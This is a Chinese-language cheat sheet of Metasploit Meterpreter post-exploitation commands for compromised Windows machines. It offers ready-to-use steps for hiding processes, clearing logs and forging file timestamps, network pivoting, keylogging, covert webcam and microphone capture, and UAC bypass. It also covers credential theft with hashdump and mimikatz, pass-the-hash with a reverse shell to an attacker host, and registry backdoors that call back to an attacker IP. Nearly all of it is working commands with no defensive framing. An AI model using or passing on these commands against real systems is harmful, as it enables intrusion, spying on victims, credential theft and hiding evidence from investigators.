常用命令总结
execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
-d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行
"-o hack.txt"是payload.exe的运行参数
migrate进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> # 将Meterpreter会话移植到指定pid值进程中
kill <pid值> # 杀死进程
clearev清除日志
clearev # 清除windows中的应用程序日志、系统日志、安全日志
timestomp伪造时间戳
timestomp C:\ -h #查看帮助
timestomp -v C:\2.txt #查看时间戳
timestomp C:\2.txt -f C:\1.txt #将1.txt的时间戳复制给2.txt
timestomp c:\test\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
portfwd端口转发
portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
autoroute添加路由
run autoroute -h # 查看帮助
run get_local_subnets # 查看目标内网网段地址
run autoroute -s 192.168.183.0/24 # 添加目标网段路由
run autoroute -p # 查看添加的路由
利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
Socks代理
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run
然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器
socks4 127.0.0.1 2000
proxychains nmap -Pn -sT 192.168.80.129 -p1-1000 #proxychains代理访问执行nmap操作
键盘记录
keyscan_start # 开始键盘记录
keyscan_dump # 导出记录数据
keyscan_stop # 结束键盘记录
网络摄像头
record_mic # 音频录制
webcam_chat # 开启视频聊天(对方有弹窗)
webcam_list # 查看摄像头
webcam_snap # 通过摄像头拍照
webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控≈直播)
截屏
screenshot # 截屏
use espia # 使用espia模块
screengrab # 截屏
绕过UAC提权
msf内置一些bypassuac脚本,原理不同,使用方法类似,执行后返回一个新的会话,执行getsystem即可提权
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs
use exploit/windows/local/bypassuac
set session 1
run
getsystem
窃取hash及密码&哈希传递
窃取hash及密码
hashdump
run post/windows/gather/smart_hashdump
得到的hash可以拿去https://cmd5.com/ 解密一下即是用户密码
#mimikatz
load mimikatz # 加载mimikatz模块
msv # 获取用户和hash值
kerberos # 获取内存中的明文密码信息
wdigest # 获取内存中的明文密码信息
mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
mimikatz_command -f samdump::hashes # 执行用户hash
#哈希传递
#利用hashdump得到用户的hash后可利用psexec模块进行哈希传递攻击。
使用psexec的前提:SMB服务必须开启,也就是开启445端口;Admin$可以访问
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf4ee:3db678
set SMBDOMAIN WORKGROUP # 域用户需要设置SMBDOMAIN
run
RDP
#getgui命令
#这里需要注意的是通过getgui命令,虽然可以成功添加用户,但是没有权限远程登录桌面,这里推荐使用enable_rdp脚本添加。
run getgui –h # 查看帮助
run getgui -e # 开启远程桌面
run getgui -u admin -p admin # 添加用户
run getgui -f 6666 -e # 3389端口转发到6666
#enable_rdp脚本
#通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将3389端口转发到6667
#远程桌面
enumdesktops # 查看可用的桌面
getdesktop # 获取当前meterpreter 关联的桌面
setdesktop # 设置meterpreter关联的桌面 -h查看帮助
run vnc # 使用vnc远程桌面连接
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
后门植入
Persistence(通过启动项安装)
run persistence –h # 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\Windows\System32
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-L:后门传到远程主机的位置默认为%TEMP%
-i:设置反向连接间隔时间为5秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址